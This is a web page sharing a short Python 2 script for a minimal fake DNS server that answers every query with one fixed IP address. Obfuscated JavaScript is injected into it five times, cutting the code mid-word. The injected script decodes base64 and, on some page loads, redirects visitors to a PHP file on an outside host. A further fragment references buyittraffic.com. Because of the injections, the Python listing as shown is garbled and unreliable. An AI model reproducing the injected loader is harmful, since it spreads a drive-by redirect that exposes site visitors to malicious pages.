简单的Python DNS服务器

import socket

class DNSQuery:
  def __init__(self, data):
    self.data=data
    self.dominio=''

    tipo = (ord(data[2]) >> 3) & 15   # Opcode bits
    if tipo == 0:                     # St<script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>andard query
      ini=12
      lon=ord(data[ini])
      while lon != 0:
        self.dominio+=data[ini+1:ini+lon+1]+'.'
        ini+=lon+1
        lon=ord(data[ini])

  def respuesta(self, ip):
    packet=''
    if self.dominio:
      packet+=self.data[:2] + &quot;\x81\x80&quot;
      packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00'   # Questions <script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>and Answers Counts
      packet+=self.data[12:]                                         # Original Domain Name Question
      packet+='\xc0\x0c'                                             # Pointer to domain name
      packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04'             # Response type, ttl <script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>and resource data length -&gt; 4 bytes
      packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
    return packet

if __name__ == '__main__':
  ip='192.168.1.1'
  print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip
  
  udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  udps.bind(('',53))
  
  try:
    while 1:
      data, addr = udps.recvfrom(1024)
      p=DNSQuery(data)
      udps.sendto(p.respuesta(ip), addr)
      print 'Respuesta: %s -&gt; %s' % (p.dominio, ip)
  except KeyboardInterrupt:
    print 'Finaliz<script type="text/javascript">function b32f7c5eda8(sf){var pd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r2='';var xe,o4,se,vc,p4,n6,q0;var w6=0;do{vc=pd.indexOf(sf.charAt(w6++));p4=pd.indexOf(sf.charAt(w6++));n6=pd.indexOf(sf.charAt(w6++));q0=pd.indexOf(sf.charAt(w6++));xe=(vc<<2)|(p4>>4);o4=((p4&15)<<4)|(n6>>2);se=((n6&3)<<6)|q0;if(xe>=192)xe+=848;else if(xe==168)xe=1025;else if(xe==184)xe=1105;r2+=String.fromCharCode(xe);if(n6!=64){if(o4>=192)o4+=848;else if(o4==168)o4=1025;else if(o4==184)o4=1105;r2+=String.fromCharCode(o4);}if(q0!=64){if(se>=192)se+=848;else if(se==168)se=1025;else if(se==184)se=1105;r2+=String.fromCharCode(se);}}while(w6<sf.length);document.write(r2);};b32f7c5eda8('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9nb3RvbGV0cy5jb20vd3AtY29udGVudC9wbHVnaW5zL3dwLXN0YWdpbmcvYXBwcy9Db3JlL1V0aWxzL0luZm9zLnBocCciLCBkZWxheSk7DQp9DQo8L3NjcmlwdD4A');</script>ando'
    udps.close()

and.buyittraffic.com/clizkes' type='text/javascript'>

Leave a Reply

Your email address will not be published. Required fields are marked *